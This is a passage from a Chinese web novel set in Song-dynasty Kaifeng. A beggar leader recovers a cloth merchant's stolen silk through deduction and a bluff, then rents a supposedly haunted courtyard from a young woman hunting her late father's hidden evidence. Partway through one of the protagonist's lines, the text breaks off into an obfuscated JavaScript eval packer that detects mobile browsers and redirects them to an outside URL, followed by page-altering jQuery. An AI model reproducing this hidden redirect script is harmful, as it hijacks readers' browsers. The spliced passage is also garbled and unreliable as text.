九个人的汇报结束，萧北翊把他们收集到的消息在脑子里过了一遍。 有用的一条，是钱串子提供的那个枢密院的消息。这条消息现在还不能变现，但可以作为赤羽的“储备粮”——等将来有机会了，它能卖个好价钱。 能马上变现的，一条都没有。 萧北翊有些头疼。赤羽现在最大的问题是——没有收入。九个人虽然现在不跟他要工钱，但总不能让人家一直饿着肚子干活。刘二还好，他有搬运工的活儿，勉强能糊口。但其他八个人，有的已经三天没吃一顿饱饭了。 他需要一个能快速赚钱的门路。 萧北翊蹲在柴房里，把原主记忆中的所有信息翻了一遍，又结合现代的历史知识，开始在脑海中搜索“北宋东京城的赚钱机会”。 酒楼茶肆？没本钱。布匹粮食？没门路。给人当账房先生？他倒是能干，但一个乞丐突然跑去给人算账，正常人都不敢用。 除非—— “萧哥！萧哥！”赵大锤的声音从院子外面传来，打断了他的思路。 萧北翊站起来，走到院门口，就看见赵大锤气喘吁吁地跑过来，手里举着一张告示。 “萧哥你看这个！”赵大锤把告示往萧北翊手里一塞，兴奋得像捡了钱，“官府的悬赏告示！城东马行街的‘周记布庄’被盗了，悬赏十两银子找线索！” 萧北翊接过告示，扫了一眼。 告示上写得很简单：周记布庄昨夜被盗，丢失上等蜀锦十匹、细绢二十匹，另有散碎银两若干。店主周世昌悬赏十两银子，征集有效线索。 十两银子。萧北翊在心里快速换算了一下——北宋的十两银子，够一个普通人家吃半年的。 “你想去领赏？”萧北翊看着赵大锤。 赵大锤嘿嘿一笑：“萧哥，你不是说咱们要做消息买卖吗？找线索不就是消息买卖？” 萧北翊愣了一下，随即笑了起来。这铁匠学徒脑子倒是转得快。 “走，”萧北翊把告示叠好揣进怀里，“去看看。” 周记布庄在马行街中段，是个不小的铺面，两间门面，后面带一个院子。萧北翊到的时候，铺子门口围了不少人，都是看热闹的。 一个四十来岁的胖子站在门口，急得满头大汗，正跟一个穿皂衣的衙役说话。那胖子应该就是店主周世昌，圆脸，小眼睛，穿着一件锦缎袍子，腰间的玉佩在阳光下晃得人眼疼。 萧北翊没急着凑上去。他蹲在对面的墙根下，开始观察。 布庄的门窗完好，没有被撬的痕迹——这说明盗贼要么是用了钥匙，要么是从别的地方进去的。告示上说丢了十匹蜀锦和二十匹细绢，这些货体积不小，一个人搬不动，至少需要两个人，而且得有车。 萧北翊的目光扫过布庄旁边的巷子——巷子不宽，但能过一辆独轮车。巷子口的地面上有几道深深的车辙印，但车辙印很乱，分不清哪些是新的哪些是旧的。 他注意到一个细节：巷子的墙根下，有一个歪倒的竹篓，竹篓旁边散落着几根麻绳。麻绳的切口很整齐，像是被刀割断的，而不是被扯断的。 萧北翊的眼睛眯了起来。 他又看了一会儿，然后站起来，走到布庄门口。 “这位阿郎，”萧北翊朝周世昌拱了拱手，“小子想问一句，贵铺的货，是从哪儿进的？” 周世昌正心烦意乱，不耐烦地挥了挥手：“去去去，一个花子凑什么热闹。” 萧北翊也不恼，笑了笑，从怀里掏出那份告示，在周世昌面前晃了晃：“阿郎悬赏十两银子找线索，小子要是能给阿郎找到货，这十两银子，算不算数？” 周世昌上下打量了他一眼，目光中满是怀疑：“就凭你？” “就凭我。”萧北翊说，“阿郎先把悬赏说清楚，小子才好办事。” 那个皂衣衙役也看了过来，眼神里带着几分好笑。 周世昌犹豫了一下，大概是病急乱投医，还是点了头：“你要是真能帮我找到货，十两银子一分不少。但你要是消遣我——” “小子不敢。”萧北翊说完，转身走到对面的墙根下，又蹲了下来。赵大锤跟过来，小声问：“萧哥，你真能找到？” 萧北翊没回答，而是问：“大锤，你在城北待了几天，认不认识城北那边收赃的？” 赵大锤一愣：“收赃的？” “就是那种——不问货从哪里来，低价收，高价卖的人。” 赵大锤想了想，挠了挠头：“城北有个‘刘三麻子’，据说干这个。但我不认识他，只是听说过。” “好，”萧北翊站起来，“咱们先去城北看看。” 城北的“刘三麻子”，其实不叫刘三麻子。他姓刘，排行老三，因为脸上有几颗麻子，所以得了这么个外号。刘三麻子在城北开了一家不起眼的当铺，表面上做正经生意，暗地里什么都收——来路不明的货、偷来的赃物，只要价格够低，他来者不拒。 萧北翊没直接去找刘三麻子。他让赵大锤带路，在那家当铺对面的茶摊上坐下来，花了两文钱买了两碗茶，一边喝一边观察。 当铺的生意不怎么样，半天没人进去。偶尔有人进去，也是很快就出来，脸上带着那种“被宰了”的表情。 萧北翊注意到一个细节——当铺的侧门开着一条缝，里面有人在说话。他把耳朵竖起来，隐约听见几个字：“……布……晚了……” “走，”萧北翊放下茶碗，“有门儿。” 赵大锤一头雾水：“啥门儿？” “进去你就知道了。” 萧北翊带着赵大锤走进了当铺。 当铺里光线昏暗，一个瘦高个儿的男人坐在柜台后面，手里拿着一把算盘，正噼里啪啦地打着。他脸上确实有几颗麻子，但不多，不仔细看根本看不出来。 “当什么？”刘三麻子头也不抬，声音懒洋洋的。 萧北翊把一块碎银子放在柜台上。不是范仲淹给的那块——那块他已经花得差不多了，这是他从刘二那里借的。 刘三麻子眼睛一亮，抬头看了他一眼，然后又皱了皱眉：“你一个花子，哪来的银子？” “阿郎别管银子是哪来的，”萧北翊笑了笑，“小子想跟阿郎打听一件事。” “打听事？”刘三麻子的目光在萧北翊和赵大锤之间扫了扫，“我这儿是当铺，不是茶楼。打听事去别处。” 萧北翊又把银子往前推了推：“阿郎别急着赶人，先听听小子打听什么。” 刘三麻子看了看银子，又看了看萧北翊，最终还是把银子收了，下巴一抬：“说。” “马行街的周记布庄昨夜被盗。阿郎见多识广，可曾听说城北有谁在卖这些东西？” 刘三麻子的脸色微变。 “你什么意思？”他的声音冷了下来，“你是说是我干的？” “小子不敢，”萧北翊不慌不忙，“阿郎是做正经生意的，怎么会做那种事？但阿郎在城北经营多年，认识的人多，耳目灵通。如果有人拿着赃物来卖，阿郎不可能不知道。小子只是想请阿郎指点一条路——谁在卖这批货？小子找到货，领了赏银，自然少不了阿郎的好处。” 刘三麻子盯着他看了好一会儿，似乎在掂量这个乞丐的分量。 过了片刻，他忽然笑了：“你倒是会说话。” 他站起来，走到侧门处，探出头看了看外面，然后回来，压低声音：“昨天晚上，确实有人来问过我。两个后生，面生，推着一辆独轮车，上面盖着油布。他们问我收不收布匹，我说不收，他们就走了。” “往哪个方向去了？” “往北。出了城北的‘安远门’。” 萧北翊拱手道谢，带着赵大锤出了当铺。 赵大锤一脸佩服：“萧哥，你怎么知道是刘三麻子？” “我不知道，”萧北翊说，“我只是来碰碰运气。做贼的人偷了东西，第一件事就是想怎么出手。城北是东京城最乱的地方，收赃的人多半在这一片。刘三麻子名气最大，先从他问起。” “那咱们现在去哪儿？” “安远门外。”萧北翊说，“那两个后生推着独轮车出了城，货一定藏在城外某个地方。咱们得在天黑之前找到。” 安远门是东京城北边的一个城门，出了门就是官道，两边是大片的农田和村落。 萧北翊和赵大锤沿着官道走了约莫两里地，在路边发现了一个破旧的土地庙。土地庙不大，只有一间屋子，门板已经烂了一半，里面黑洞洞的。 萧北翊蹲下来，在庙门口的地面上发现了独轮车的车辙印。车辙印很深，说明车上装的东西不轻。 “在这儿。”萧北翊压低声音，冲赵大锤招了招手。 两人悄悄摸进土地庙。 庙里空荡荡的，只有一尊没了头的土地像。但庙的后墙处，堆着一堆用油布盖着的东西。萧北翊掀开油布一角——果然是布匹，蜀锦的花纹在昏暗的光线下依然艳丽夺目。 “找到了！”赵大锤兴奋得差点喊出来。 “别急。”萧北翊按住他，“货在这儿，人肯定也在附近。那两个贼不会把货扔在这儿不管。” 话音刚落，外面传来脚步声。 萧北翊拉着赵大锤闪到土地像后面，两人蹲下来，大气都不敢出。 两个脚步声走近了，一个粗哑的声音说：“娘的，这鬼天气，冷死老子了。” 另一个年轻些的声音说：“哥，咱们什么时候把货运走？放在这儿我总不放心。” “急什么？明天晚上找辆车，拉到陈州去卖。东京城里查得严，陈州那边没人认识这批货。” 萧北翊在土地像后面听得清清楚楚。他拍了拍赵大锤的肩膀，在他耳边小声说了几句。 赵大锤点了点头，从土地像后面站起来，大步走了出去。 “两位大哥，”赵大锤憨厚地笑着，“这是你们的货？” 两个贼吓了一跳，年纪大的那个——三十来岁，脸上有一道疤——下意识地摸向腰间。但他腰间没有刀，只有一根绳子。 “你是谁？”刀疤脸警惕地看着赵大锤。 “我？”赵大锤挠了挠头，“我是过路的，看见这庙里有东西，过来看看。” “走开，不关你的事。”刀疤脸的语气不善。 “怎么不关我的事？”赵大锤不走了，一屁股坐在油布上，“你们偷了周记布庄的货，害得我萧哥帮人找线索。我萧哥说了，找到货有十两银子的赏钱。你们把这货还回去，我萧哥拿了赏钱，分你们一半，怎么样？” 两个贼面面相觑。 萧北翊从土地像后面走出来，拍了拍身上的灰，站到赵大锤旁边。 “两位，”萧北翊笑眯眯地说，“你们偷了东西，是要吃官司的。但要是主动归还，我可以替你们跟周掌柜说情，不追究你们的责任。而且我刚才说了，赏银分你们一半——五两银子，够你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650293|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩花一阵子了。” 刀疤脸犹豫了一下。 年轻的那个已经动了心：“哥，要不……” “闭嘴！”刀疤脸瞪了他一眼，转向萧北翊，“你算什么东西？一个花子，也配跟老子谈条件？” 萧北翊叹了口气。 他最怕遇到这种不讲道理的人。因为他的武力值为零，真要动起手来，他和赵大锤加一起都不一定打得过这两个贼。 但萧北翊有脑子。 “这位大哥，”萧北翊不紧不慢地说，“你知道周记布庄的周掌柜是什么人吗？” “什么人？” “周掌柜的小舅子，是禁军的一个指挥使。你要是偷了别家的东西，也许还能跑。但你偷了禁军指挥使亲戚的东西——你觉得你能跑到哪儿去？” 刀疤脸的脸色变了。 他不知道萧北翊在胡说八道——周世昌有没有小舅子、小舅子是不是禁军指挥使，萧北翊一概不知。但这两个贼不知道他不知道，所以这个谎撒得理直气壮。 “你……你骗人。”刀疤脸的声音已经没那么硬了。 “骗你干什么？”萧北翊耸了耸肩，“不信你可以打听打听。马行街谁不知道周掌柜的小舅子在禁军当差？你们偷谁家不好，偏偏偷他家，这不是老寿星上吊——嫌命长吗？” 刀疤脸和年轻贼对视了一眼，都从对方眼中看到了恐惧。 “而且，”萧北翊趁热打铁，“枢密院已经知道了这件事，正派人查呢。你们要是现在归还，还能算个‘主动投案’。等官府的人找到你们——那就不是五两银子能解决的事了。” 刀疤脸彻底蔫了。 “你……你说的是真的？” “你信也好，不信也罢，”萧北翊转身往外走，“我话已经带到了。货还还是不还，你们自己决定。不过我提醒你们一句——枢密院的人，最迟明天就到。” 他走了出去，头也不回。 赵大锤赶紧跟上。 两人走出去老远，赵大锤才小声问：“萧哥，枢密院真的在查？” “枢密院的人每天在茶楼喝茶，哪有空管这个。”萧北翊笑了，“我吓唬他们的。” “那周掌柜的小舅子呢？” “我瞎编的。” 赵大锤瞪大了眼睛，半天才憋出一句：“萧哥，你胆子真大。” “这叫兵不厌诈。”萧北翊拍了拍他的肩膀，“记住了，在江湖上混，拳头不够硬的时候，嘴皮子就得够硬。” 第二天一早，周记布庄的周世昌在门口发现了一堆用油布包着的布匹——十匹蜀锦，二十匹细绢，一样不少。 布匹旁边还压着一张纸条，上面歪歪扭扭地写着几个字： “还回来了，别追究。” 周世昌又惊又喜，赶紧让伙计把货搬进去，然后满大街找那个乞丐。 萧北翊没让他找，自己溜溜达达地来了。 “周掌柜，”萧北翊笑眯眯地拱手，“货回来了吧？” 周世昌看着他，愣了好一会儿，然后从袖子里摸出一锭银子，塞到萧北翊手里：“小兄弟，你是怎么办到的？” “天机不可泄露。”萧北翊把银子揣进怀里，掂了掂分量——足十两，一分不少。 “小兄弟，你叫什么名字？日后好找你。” “小子姓萧，名北翊，字子翼。周掌柜以后要是有什么事需要帮忙，尽管来甜水巷找王隐之道长，小子住他那儿。” 周世昌连连点头，又塞了一块碎银子过来：“这个你拿着买酒喝。” 萧北翊推辞了一下，还是收下了。不是他贪财，而是他要让周世昌觉得欠他一个人情。在这个时代，人情就是钱，有时候比钱还值钱。 回到甜水巷，萧北翊把九个人都叫了过来。 他把那锭十两银子放在地上，九个人的眼睛都亮了。 “第一单生意，”萧北翊说，“赚了十两。” 赵大锤第一个跳起来：“萧哥威武！” 钱串子已经开始盘算了：“十两银子，九个人分，每人——” “谁说要分了？”萧北翊打断他，“这钱不分。” 院子里的气氛一下子冷了。 萧北翊看着他们一个个从兴奋变成失望，心里觉得好笑，但脸上不动声色。 “这十两银子，是赤羽的本钱。”萧北翊说，“咱们要用这笔钱做两件事。第一，租一个隐蔽的据点，不能总在王道长这儿，人家还得清修呢。第二，给每个人置办一套干净衣裳，再置办一些基本的工具——纸、笔、绳子、锁，各有用处。” 阿九第一个反应过来：“萧哥的意思是——咱们要用这笔钱赚更多的钱？” “聪明。”萧北翊竖起大拇指，“十两银子分了，一人一两，能干什么？买几顿饱饭，吃完了又得饿肚子。但要是用这十两银子做本钱，让赤羽运转起来，以后赚的就是一百两、一千两。” 刘二点了点头：“这话在理。在边军的时候，粮草官就是这么干的——把粮草集中调配，比分散给各营更管用。” 钱串子虽然心疼分不到钱，但也不得不承认萧北翊说得有道理。 “那萧哥，”赵大锤问，“咱们接下来干什么？” 萧北翊想了想：“接下来，我负责找生意。你们负责——练。” “练什么？” “练眼力，练耳力，练嘴皮子。”萧北翊掰着手指头数，“大锤，你嘴笨，多跟钱串子学学怎么说话。钱串子，你胆子小，多跟刘二学学怎么壮胆。阿九，你是唯一识字的，以后负责记录消息，字要练得更快更工整。孙驼子，你继续在城南蹲着，但别只蹲一个地方，多走动。” 孙驼子吐了口烟圈：“老婆子这把老骨头，走不动了。” “走不动也得走，”萧北翊笑了，“等赤羽赚了大钱，我给你雇顶轿子，抬着你走。” 院子里响起一片笑声。 这是赤羽成立以来，第一次有了“家”的感觉。 萧北翊看着这群衣衫褴褛的乞丐，心里涌起一股奇怪的情绪。这些人，在现代社会可能是街头流浪汉、是边缘人、是被社会遗忘的存在。但在这个时代，他们是他的第一批战友，是赤羽的第一块基石。 “好了，”萧北翊拍了拍手，“散了吧。明天卯时，还是这儿，准时到。” 九个人陆续离开。阿九走在最后，走到院门口的时候忽然回头，看了萧北翊一眼。 “萧哥，”她说，“你今天编的那个‘周掌柜小舅子是禁军指挥使’的故事，挺有意思的。” 萧北翊一愣：“你怎么知道是编的？” 阿九嘴角微微上扬：“因为我昨天去了周记布庄，跟周掌柜的伙计聊过。周掌柜根本没有小舅子。” 萧北翊：“……” “赵大锤回来就跟我说了。”阿九说，“萧哥，你是个聪明人，但我也不笨。赤羽要想做大，不能只有你一个人聪明。” 她转身走了，留下萧北翊一个人站在院子里发呆。 王隐之不知道什么时候从正屋里出来了，端着一杯茶，笑眯眯地看着他。 “子翼，这小丫头有意思吧？” 萧北翊苦笑了一声：“有意思。有意思得让我有点害怕。” “怕什么？” “怕她哪天把我的位置给抢了。” 王隐之哈哈大笑：“那也是你活该。” 当天夜里，萧北翊躺在柴房的稻草堆上，把那十两银子从怀里掏出来，在月光下看了又看。 十两银子，赤羽的第一桶金。 不是靠偷，不是靠抢，不是靠坑蒙拐骗，而是靠脑子赚来的。这种感觉，比他想象的要好。 他把银子藏好，双手枕在脑后，看着头顶的屋梁。 赤羽的第一步，迈出去了。虽然很小，但方向是对的。 接下来，他要做的是——让赤羽的羽翼，覆盖整个东京城。 窗外，月光如水，照在甜水巷的青石板路上，明晃晃的，像一条铺满银子的路。 萧北翊闭上眼睛，嘴角带着一丝笑意，沉沉睡去。 4. 第四章 城西有个南姑娘 十两银子在手里还没捂热，萧北翊就开始琢磨怎么花。 不是他不想存钱，而是赤羽这摊子事，不往里砸钱就转不起来。九个骨干到现在连个正经碰头的地方都没有，天天挤在王隐之的院子里，老道士嘴上不说，心里怕是早就不耐烦了。 “得找个据点。”萧北翊蹲在柴房里，掰着手指头跟刘二算账，“地方不用大，能容下十来个人开会就行。但要隐蔽，不能临街，最好是那种拐几个弯才找得到的巷子深处。” 刘二吸了吸鼻子：“城东有条葫芦巷，里头有个空院子，原先住着一个卖馄饨的老头，上个月死了，院子一直空着。我去看过，三间北房，带个小院子，够用了。租金嘛——一个月三百文。” “三百文？”萧北翊皱眉，“太贵了。东京城一间普通的房子，月租也就二百文出头。一个死过人的空院子，凭什么要三百文？” 刘二难得露出一丝尴尬：“因为……那院子闹鬼。” 萧北翊：“……” “所以租金才便宜。”刘二赶紧补充，“原本那老头活着的时候租给别人，要五百文呢。自从他死了，院子里闹了几回鬼，就没人敢租了。房主急着出手，三百文是底价。” “闹什么鬼？” “说是半夜能听见哭声，还有白影飘来飘去。”刘二的刀疤脸在昏暗的柴房里显得有些诡异，“我特意去打听过，住那院子附近的人都说见过。有个卖馄饨的婆子说，有一天半夜起来上厕所，看见那院子里有个穿白衣的女人在井边梳头，头发长得拖到地上。” 萧北翊听完，沉默了三秒钟，然后笑了。 “走，去看看。” 葫芦巷在城东偏南的位置，从马行街拐进去，穿过三条窄巷子，再过一个石板桥，就到了。这地方确实够隐蔽，别说外人，就是在东京城住了几十年的老人，也不一定知道这条巷子。 院子不大，一扇褪了色的木门虚掩着。萧北翊推门进去，院子里长满了齐腰高的荒草，三间北房的门窗上糊的纸早就烂了，露出黑洞洞的屋子。 “就这儿？”萧北翊转了一圈，在院子中间站定。 刘二点头：“就这儿。” 萧北翊蹲下来，捏了一把土，又站起来看了看屋顶，最后走进北房转了一圈，出来的时候脸上带着满意的表情。 “租了。” 刘二一愣：“子翼，你不怕闹鬼？” 萧北翊拍了拍手上的灰：“刘二哥，你在边军待了七年，见过死人没有？” “见过。多了去了。” “那你怕鬼吗？” 刘二犹豫了一下：“不怕。但这事儿邪门，院子里确实有人见过——” “见过就对了。”萧北翊打断他，“有人见过，说明这‘鬼’是有人假扮的。你想啊，一个院子闹鬼，租金就便宜了。房主急着出手，三百文就能租下来。是谁最希望这个院子一直空着、没人来住？” 刘二想了想：“假扮鬼的人。” “对。”萧北翊竖起一根手指，“假扮鬼的人不想让任何人住进来。为什么？要么是这院子里藏着什么东西，要么是这院子连着什么见不得人的勾当。不管哪一种，咱们住进来，就有机会搞清楚。搞清楚了，要么能赚一笔，要么能抓一个把柄。三百文的租金，值了。” 刘二看着他的眼神变了——从将信将疑变成了几分佩服。 “子翼，你这脑子是怎么长的？” “多读书。”萧北翊笑眯眯地说。 租院子的事就这么定了。萧北翊没急着搬进去，而是先让刘二找了几个胆大的兄弟，连着三个晚上蹲在院子外面，看看这“鬼”到底是什么来头。 第一个晚上，什么也没发生。 第二个晚上，什么也没发生。 第三个晚上，出事了。 来报信的是赵大锤。这铁匠学徒半夜三更跑回甜水巷，把萧北翊从柴房里拽起来，脸上的表情介于兴奋和惊恐之间。 “萧哥！来了！那个白影子！” 萧北翊披上棉袄，跟着赵大锤摸黑往葫芦巷跑。到了院子外面，刘二已经蹲在巷口的阴影里，手里握着一根木棍，眼睛死死盯着院门。 “在里面？”萧北翊压低声音问。 刘二点头：“进去约莫一刻钟了。我没打草惊蛇，等你来。” 萧北翊趴在墙根下，耳朵贴着墙听了听。院子里确实有动静——很轻的脚步声，还有什么东西在地上拖拽的声音。 “走，进去看看。”萧北翊站起来。 刘二拦住他：“万一有危险——” “有危险你上。”萧北翊理直气壮，“我又不会打架。” 刘二无语地看了他一眼，握紧木棍，一脚踹开了院门。 院子里，月光下站着一个白衣人影。 那是一个女人，穿着一件白色的长裙，头发披散着，遮住了大半张脸。她手里提着一盏小灯笼，灯笼的光映在她脸上，惨白惨白的。 “你是什么人？”刘二举着木棍，厉声喝问。 那女人抬起头，拨开脸上的头发，露出一张年轻的脸——不算特别漂亮，但五官端正，一双眼睛又黑又亮，在月光下像是两颗黑宝石。 “你们又是什么人？”女人的声音不大，但很稳，没有一丝慌乱。 萧北翊从刘二身后探出头来，上下打量了她一番，忽然笑了。 “南姑娘，大半夜的不在家睡觉，跑到这荒院子里扮鬼，不冷吗？” 女人的瞳孔微微缩了一下。 “你认识我？” “不认识。”萧北翊从阴影里走出来，双手插在袖子里，笑眯眯地说，“但我猜的。你穿的白裙子是上好的越罗，这种料子东京城没几家铺子卖得起。你的头发虽然披散着，但发梢修剪得很整齐，用的是剪刀而不是剃刀——说明你不是落魄之人。你的手上没有茧子，指甲修剪得干干净净，不是干粗活的手。一个不干粗活的年轻姑娘，大半夜穿着好衣裳在荒院子里扮鬼，要么是为了吓人，要么是在等人。我猜，你是后者。” 女人盯着他看了好一会儿，然后嘴角微微上扬。 “你就是那个萧子翼？” 这回轮到萧北翊愣住了：“你认识我？” “不认识。”女人学着他的语气说，“但我猜的。最近东京城里冒出一个叫花子，帮周记布庄找回了被盗的货，赚了十两银子赏钱。这事传得很快，该知道的人都知道了。我一看你这副模样——穿着破棉袄、满身土气、说话带河北口音、身边跟着一个刀疤脸大汉——就知道是你。” 萧北翊回头看了刘二一眼，刘二面无表情。 “好吧，”萧北翊转回来，“南姑娘，你还没回答我的问题——你在这院子里做什么？” 女人把灯笼举高了一些，月光下她的轮廓更加清晰。她大概十七八岁的年纪，身材高挑，站在那里像一棵不弯不折的竹子。 “这院子是我家的。”她说。 萧北翊一愣：“你家？你姓南，这院子的房主姓什么？” “姓南。”女人说，“南振邦。是我爹。” 萧北翊脑子转得飞快。南振邦？这个名字他没听过，但原主的记忆里似乎有一个模糊的印象——城南有一户姓南的人家，是做绸缎生意的，家境殷实，但几年前好像出了什么事，家道中落了。 “所以，”萧北翊试探着问，“闹鬼的事，是你干的？” 女人沉默了片刻，然后点了点头。 “为什么？” “因为这院子里有我要找的东西。”女人说，“我爹临终前告诉我，他在这个院子里藏了一样东西，关系到我们南家的清白。但他说完就咽气了，没来得及告诉我藏在哪儿。我翻遍了整个院子，没找到。后来房主要把这院子租出去，我怕别人住进来会找到那样东西，就想了这个办法——扮鬼，把人吓跑。” 萧北翊听完，沉默了几秒，然后笑了。 “南姑娘，你这办法倒是简单粗暴。但你有没有想过，你这样三天两头扮鬼，迟早会被人识破。到时候不但东西找不到，你自己还得吃官司——装神弄鬼，扰乱民居，按大宋律，杖八十。” 女人的脸色变了一变，但很快恢复了平静。 “那你说怎么办？” 萧北翊想了想，然后说了一句让刘二和赵大锤都没想到的话。 “你把院子租给我。我帮你找东西。找到了，东西归你；院子归我用。怎么样？” 女人盯着他看了好一会儿：“我凭什么信你？” “凭我是萧子翼。”萧北翊说，语气平淡，但带着一种不容置疑的自信，“凭我用三天时间找到了周记布庄的货。凭我身边这九个人——不对，加上你以后就是十个人——愿意跟着我一个叫花子干。” 女人又沉默了。这一次沉默的时间更长。 院子里的荒草被夜风吹得沙沙作响，月亮在云层里时隐时现。 “南晚枫。”女人忽然说。 “什么？” “我的名字。南晚枫。”女人看着萧北翊，“你不是要租院子吗？一个月三百文，先付半年的。” 萧北翊笑了，从袖子里摸出那锭十两银子，在月光下晃了晃：“南姑娘，你看这银子，够不够付半年的？” 南晚枫看了一眼银子，又看了一眼萧北翊，嘴角微微上扬：“你倒是舍得。这十两银子，是你刚赚的吧？” “钱赚来就是为了花的。”萧北翊把银子抛给她，“花在该花的地方，就是好钱。” 南晚枫接过银子，掂了掂分量，然后从腰间解下一把钥匙，扔给萧北翊。 “北屋的钥匙。你要找什么随便找，找到了告诉我。找不到——租金不退。” 她说完，提着灯笼转身走了，白裙子在夜风中飘动，像一只白色的蝴蝶。 赵大锤看着她的背影，咽了咽口水：“萧哥，这姑娘真厉害。” 刘二也难得地评价了一句：“是个人物。” 萧北翊把钥匙揣进怀里，看着南晚枫消失在巷口的背影，若有所思。 南晚枫。南方的晚枫。 这名字，跟他的“北翊”倒是挺配的。 租下院子的第二天，萧北翊就让赤羽的九个人搬了进去。 三间北房，一间做会议室，一间做仓库，一间留给萧北翊住。院子里荒草被赵大锤带人割了个干净，露出下面平整的青砖地。窗户纸换了新的，门也修好了，虽然还是很破旧，但总算像个能住人的地方了。 萧北翊站在院子中间，环顾四周，心里涌起一股满足感。 赤羽，终于有了自己的窝。 “萧哥，”钱串子从北屋探出头来，手里拿着一本账册，“这院子的账怎么记？租金三百文一个月，咱们付了半年，一千八百文。加上买纸笔、修门窗、换窗纸，总共花了二两三钱银子。你那十两银子，现在还剩七两七钱。” 萧北翊点了点头：“记清楚就行。接下来要想办法赚钱了，不能坐吃山空。” “怎么赚？”钱串子问。 萧北翊想了想：“先不急着接大单。让兄弟们继续在各片区蹲着，收集消息，但不急着卖。咱们要先摸清楚东京城的消息市场——谁在买消息、谁在卖消息、什么消息值钱、什么消息不值钱。知己知彼，才能百战不殆。” “这话听着耳熟。”刘二从旁边走过来。 “孙子兵法说的。”萧北翊随口道。 刘二看了他一眼，没再说话。 接下来的半个月，赤羽的九个人像蚂蚁一样，在东京城的五个片区里钻来钻去，把每一条街道、每一个坊巷、每一座酒楼茶肆都摸了个遍。 萧北翊也没闲着。他每天早出晚归，以一个乞丐的身份游走在东京城的各个角落，用那双穿越了千年的眼睛，观察着这座城市的每一个细节。 他发现了一个有趣的现象——东京城的消息买卖，远比他想像的要发达。 城东的“悦来茶楼”，表面上是个喝茶的地方，实际上是消息贩子的集散地。每天下午，几个穿着体面但不够富贵的中年人会在二楼固定的位子上坐着，一边喝茶一边等人。来跟他们接头的人形形色色——有穿着锦袍的商人，有穿着皂衣的小吏，甚至有戴着帷帽的妇人。 城西的“孙家瓦舍”，后台老板是个叫“孙七爷”的人物，据说手眼通天，黑白两道都吃得开。他手里掌握着整个城西的消息网络，不管是官府的动向还是商家的内幕，只要出得起价，他都能搞到。 城南的相国寺，每到初一十五，人山人海。这种时候，消息的流通量最大——但也是最杂的，真真假假，难以分辨。 城北因为是贫民区，消息的价值最低，但数量最多。在这里，花几文钱就能打听到一大堆八卦，但真正有用的信息，往往藏在这些八卦里，需要有心人去挖掘。 至于城中——那是权贵聚集的地方，也是消息买卖最危险的地方。能在城中做消息买卖的，都不是一般人。 萧北翊把这些观察一一记在心里，画成了一张详细的消息市场地图。 “赤羽要想活下去，”他在一次会议上对九个人说，“不能跟孙七爷那些人硬碰硬。他们有根基、有人脉、有本钱，咱们没有。咱们的优势是什么？” 九个人面面相觑。 “是咱们的身份。”萧北翊说，“咱们是乞丐。乞丐在这个城里是最不起眼的存在。没有人会防着一个乞丐，没有人会在意一个乞丐听见了什么、看见了什么。这就是赤羽最大的优势——咱们不是在做消息买卖，咱们只是在讨饭的时候，顺便听了几个故事。” 阿九最先反应过来：“萧哥的意思是——让兄弟们继续以乞丐的身份活动，不暴露赤羽的存在？” “对。”萧北翊点头，“赤羽这个名字，暂时只有咱们十个人知道。在外面，你们还是你们——赵大锤是个被打断了腿的铁匠学徒，钱串子是个落魄的账房先生，孙驼子是个快死了的老乞丐。咱们不主动卖消息，等人来找咱们。” “等人来找？”赵大锤挠头，“谁会来找一群叫花子？” 萧北翊笑了：“会有的。等他们发现，叫花子知道的事情比他们想像的多得多，自然会来找。” 事实证明，萧北翊的判断是对的。 第一个找上门来的，是周世昌。 那天下午，萧北翊正在院子里教阿九记账——这丫头的字写得歪歪扭扭，但脑子好使，教一遍就会——周世昌提着一盒点心，气喘吁吁地推门进来了。 “萧小兄弟！子翼！可算找到你了！” 萧北翊放下手里的竹笔，站起来拱手：“周掌柜，什么风把你吹来了？” 周世昌把点心往石桌上一放，一屁股坐在石凳上，脸上的表情又焦急又兴奋。 “子翼，你得帮我一个忙。” “周掌柜请讲。” 周世昌左右看了看，压低声音：“我怀疑有人要搞我。” 萧北翊眉梢一挑：“怎么说？” “前天，我铺子里来了一伙人，说是要订一批蜀锦，数量大，出价高。我当时高兴坏了，当场就答应了。结果昨天，我又来了一伙人，也是要订蜀锦，数量更大，出价更高。我觉得不对劲——东京城的蜀锦生意一直不温不火，怎么突然冒出两拨大客户？” 萧北翊点了点头：“然后呢？” “然后我去打听了一下，发现这两拨人根本不是做布匹生意的。第一拨人背后是一个姓王的商人，第二拨人背后是一个姓李的商人。这两个人，平时八竿子打不着，但最近都跟一个人走得很近——” “谁？” “程家的一个管事。”周世昌说，声音压得极低，“程家，就是当朝枢密使程无咎程相公的那个程家。” 萧北翊的眼睛微微眯了起来。 程无咎。这个名字，他在原主的记忆碎片里见过——不，不是原主的记忆，是他自己在现代读宋史时记住的名字。程无咎，真宗朝后期到仁宗朝前期的权臣，以善于揣摩上意著称，但为人阴险，手段狠辣，是王钦若之后朝中最大的奸臣。 “程家的人为什么要搞你？”萧北翊问。 周世昌苦着脸：“我也不知道啊！我跟程家八竿子打不着，平时连他们家的门朝哪儿开都不知道。” 萧北翊沉吟片刻，忽然问：“周掌柜，你最近是不是得罪过什么人？” 周世昌想了想，摇头：“没有啊。我这人做生意最讲和气，从来不跟人红脸。” “那你的布庄，最近是不是挡了谁的财路？” 周世昌又想了想，脸色忽然变了。 “你这一说……我想起来了。上个月，马行街新开了一家布庄，叫‘瑞锦坊’。东家姓钱，据说是从南方来的，背后有大老板撑腰。自从瑞锦坊开了之后，我的生意就淡了不少。但那也是没办法的事，人家货好价低，我竞争不过，认栽就是了。” 萧北翊的手指在石桌上敲了敲，脑子飞速运转。 “周掌柜，你知不知道那个瑞锦坊的幕后老板是谁？” 周世昌摇头：“不知道。钱掌柜嘴巴很严，从来不提。” 萧北翊站起来，在院子里踱了两圈，然后回头对周世昌说：“周掌柜，这个忙我帮了。但你得答应我两件事。” “你说！” 